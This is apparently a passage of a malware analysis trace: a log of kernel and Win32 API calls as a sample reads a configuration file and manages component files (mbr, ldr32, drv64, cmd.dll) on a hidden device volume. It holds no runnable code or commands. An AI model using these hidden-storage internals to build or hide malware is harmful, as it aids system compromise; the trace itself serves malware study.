KeLeaveCriticalRegion () [0126.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.395] KeEnterCriticalRegion () [0126.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.395] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348b000 [0126.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.395] IdePortDispatch () returned 0x103 [0126.395] KeWaitForMutexObject () returned 0x0 [0126.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.395] IdePortDispatch () returned 0x103 [0126.395] KeWaitForMutexObject () returned 0x0 [0126.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] KeLeaveCriticalRegion () [0126.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.396] KeEnterCriticalRegion () [0126.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] KeLeaveCriticalRegion () [0126.396] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.396] KeEnterCriticalRegion () [0126.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.396] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] KeLeaveCriticalRegion () [0126.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.396] KeEnterCriticalRegion () [0126.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.396] KeLeaveCriticalRegion () [0126.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.396] ReleaseMutex (hMutex=0xf0) returned 1 [0126.397] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.397] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.397] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.397] KeEnterCriticalRegion () [0126.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.397] IdePortDispatch () returned 0x103 [0126.397] KeWaitForMutexObject () returned 0x0 [0126.397] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.397] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.397] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.397] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.397] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.397] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.397] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.397] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.397] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.397] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.397] KeLeaveCriticalRegion () [0126.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.397] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.397] KeEnterCriticalRegion () [0126.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.398] IdePortDispatch () returned 0x103 [0126.398] KeWaitForMutexObject () returned 0x0 [0126.398] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.398] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.398] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.398] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.398] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.398] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.398] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.398] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.398] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.398] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.398] KeLeaveCriticalRegion () [0126.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.398] ReleaseMutex (hMutex=0x100) returned 1 [0126.398] Sleep (dwMilliseconds=0x2bf20) [0126.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e8a3d70, dwHighDateTime=0x1d24fa4)) [0126.404] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.404] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.404] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.405] KeEnterCriticalRegion () [0126.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.405] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.405] IdePortDispatch () returned 0x103 [0126.405] KeWaitForMutexObject () returned 0x0 [0126.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.405] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.405] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.405] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec0d0 [0126.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.405] KeLeaveCriticalRegion () [0126.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.405] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.405] KeEnterCriticalRegion () [0126.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.405] KeLeaveCriticalRegion () [0126.405] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.405] KeEnterCriticalRegion () [0126.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.405] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.405] IdePortDispatch () returned 0x103 [0126.405] KeWaitForMutexObject () returned 0x0 [0126.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.406] KeLeaveCriticalRegion () [0126.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.406] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.406] KeEnterCriticalRegion () [0126.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348e000 [0126.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.406] IdePortDispatch () returned 0x103 [0126.406] KeWaitForMutexObject () returned 0x0 [0126.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.406] IdePortDispatch () returned 0x103 [0126.406] KeWaitForMutexObject () returned 0x0 [0126.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.406] KeLeaveCriticalRegion () [0126.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.407] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.407] KeEnterCriticalRegion () [0126.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] KeLeaveCriticalRegion () [0126.407] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.407] KeEnterCriticalRegion () [0126.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.407] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] KeLeaveCriticalRegion () [0126.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.407] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.407] KeEnterCriticalRegion () [0126.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] ExFreePoolWithTag (P=0xfffffa80037ec0d0, Tag=0x0) [0126.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] KeLeaveCriticalRegion () [0126.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.407] ReleaseMutex (hMutex=0xf0) returned 1 [0126.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.407] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.407] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.407] KeEnterCriticalRegion () [0126.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.407] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.407] IdePortDispatch () returned 0x103 [0126.408] KeWaitForMutexObject () returned 0x0 [0126.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.408] KeLeaveCriticalRegion () [0126.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.408] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.408] KeEnterCriticalRegion () [0126.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.408] KeLeaveCriticalRegion () [0126.408] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.408] KeEnterCriticalRegion () [0126.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.408] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.408] IdePortDispatch () returned 0x103 [0126.408] KeWaitForMutexObject () returned 0x0 [0126.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.409] KeLeaveCriticalRegion () [0126.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.409] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.409] KeEnterCriticalRegion () [0126.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348f000 [0126.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.409] IdePortDispatch () returned 0x103 [0126.409] KeWaitForMutexObject () returned 0x0 [0126.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.409] IdePortDispatch () returned 0x103 [0126.409] KeWaitForMutexObject () returned 0x0 [0126.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.409] KeLeaveCriticalRegion () [0126.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.410] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.410] KeEnterCriticalRegion () [0126.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.410] KeLeaveCriticalRegion () [0126.410] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.410] KeEnterCriticalRegion () [0126.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.410] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.410] KeLeaveCriticalRegion () [0126.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.410] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.410] KeEnterCriticalRegion () [0126.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.410] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.410] KeLeaveCriticalRegion () [0126.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.410] ReleaseMutex (hMutex=0xf0) returned 1 [0126.410] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.410] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.410] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.410] KeEnterCriticalRegion () [0126.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.411] IoAllocateMdl (in: 